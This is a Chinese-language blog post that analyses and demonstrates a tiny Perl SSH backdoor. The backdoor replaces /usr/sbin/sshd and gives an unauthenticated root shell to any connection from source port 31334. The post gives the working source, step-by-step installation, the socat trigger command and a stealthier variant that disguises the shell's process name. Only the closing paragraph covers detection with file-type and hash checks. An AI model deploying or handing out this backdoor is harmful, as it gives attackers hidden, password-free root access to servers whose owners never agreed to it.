一款短小精致的SSH后门分析

作者: secflag 分类: 病毒木马 发布时间: 2017-07-29 02:22

0×00. 引言

在《利用系统特性伪装成一个免密登陆后门》一文中,我介绍过利用系统特性伪装成一个ssh系统后门,不过,这个后门需要新开一个端口,而本文介绍的这个后门只需要系统上开放了ssh服务就行了,不需要额外的开放端口,详情见正文

0×01. 正文

1. 后门简介

这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下

sshd后门源码:

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

这段代码的意思:

第一行, 如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则 ..zf,上述代码中的zf是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket  (一般只有攻击者指定连接的源端口才能触发这一行的执行)

第二行  启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象)

补充:

在网络通信当中,大多传递的数据是以二进制流(binary data)存在的。当传递字符串时,不必担心太多的问题,而当传递诸如int、char之类的基本数据的时候,就需要有一种机制将某些特定的结构体类型打包成二进制流的字符串然后再网络传输,而接收端也应该可以通过某种机制进行解包还原出原始的结构体数据。python中的struct模块就提供了这样的机制:

python中的struct模块

2.  如何使用后门

这里做个实例演示

被控端(Victim)    10.1.100.3      Kali

控制端               10.1.100.2       centos7

1) 在被控端执行以下操作

将真正的sshd 移至/usr/bin/sshd,

mv /usr/sbin/sshd /usr/bin/sshd

将后门sshd (perl脚本移动至/usr/sbin/sshd),并授予执行权限

    chmod +x /usr/sbin/sshd 

重启 ssh 服务

重启ssh 服务

2) 在控制端执行以下操作

socat STDIO TCP4:10.1.100.3:22,sourceport=31334

这行命令的意思是说,将输入输出重定向至于socket 10.1.100.3:22 (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为31334

这行命令等价于 socat -TCP4:10.1.100.3:22,sourceport=31334

这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell 了)成功获取控制端系统 shell

成功获取控制端系统 shell

我们看一下被控端

被控端

22 端口是sh 和 控制端连接,程序名是ssh ,而不是正常的sshd

为了增强隐秘性, 我们可以将copy 一份/bin/sh, 重命名为/bin/sshd

,修改后门源码为:

#!/usr/bin/perl
exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

控制端再次连接:

控制端再次连接

现在已经变成了sshd ,伪装性更强!

3. 为什么这个后门不需要认证

这和OpenSSH 服务特性有关,OpenSSH 和其他的网络服务一样,都会fork一个子进程处理用户连接, 但是有一点和其他网络服务不一样,新fork的子进程不会直接处理用户连接,而是重新在子进程中重新运行自身,也就是/usr/sbin/sshd (就是OpenSSH自身二进制文件) ,所以用户的连接是被重新运行的/usr/sbin/sshd 实例给处理了。重新运行/usr/sbin/sshd 就会执行后门的第一行代码。从而反弹shell且无需认证。 对于新fork的子进程来说,文件句柄STDIN/STDOUT 就和当前的socket关联在一起了。 (要想了解更深入的原理,需要去查看OpenSSH的源码了)

sshd.c 部分截图

sshd.c 部分截图

默认重新执行自身的标识是为1

4. OpenSSH 为什么在子进程中重新运行自身?

从OpenSSH 3.9 以后的版本都有这样的特性,目的有2:

 1)这样每次重新运行自身自后,每一个新连接的执行时间都是不一样的

2)为了ASLR 更加有效,每个连接的内存布局都是不一样的

OpenSSH 在子进程中重新运行自身

0×02. 总结

其实这款后门也比较好发现,首先正常的sshd 文件是ELF格式,而后门是纯文本脚本,使用file 命令就可以发现

用file 命令发现后门

另外也可以定期检测系统关键文件的hash是否发生变化,位置是否发生变化,这样就能发现是否有异常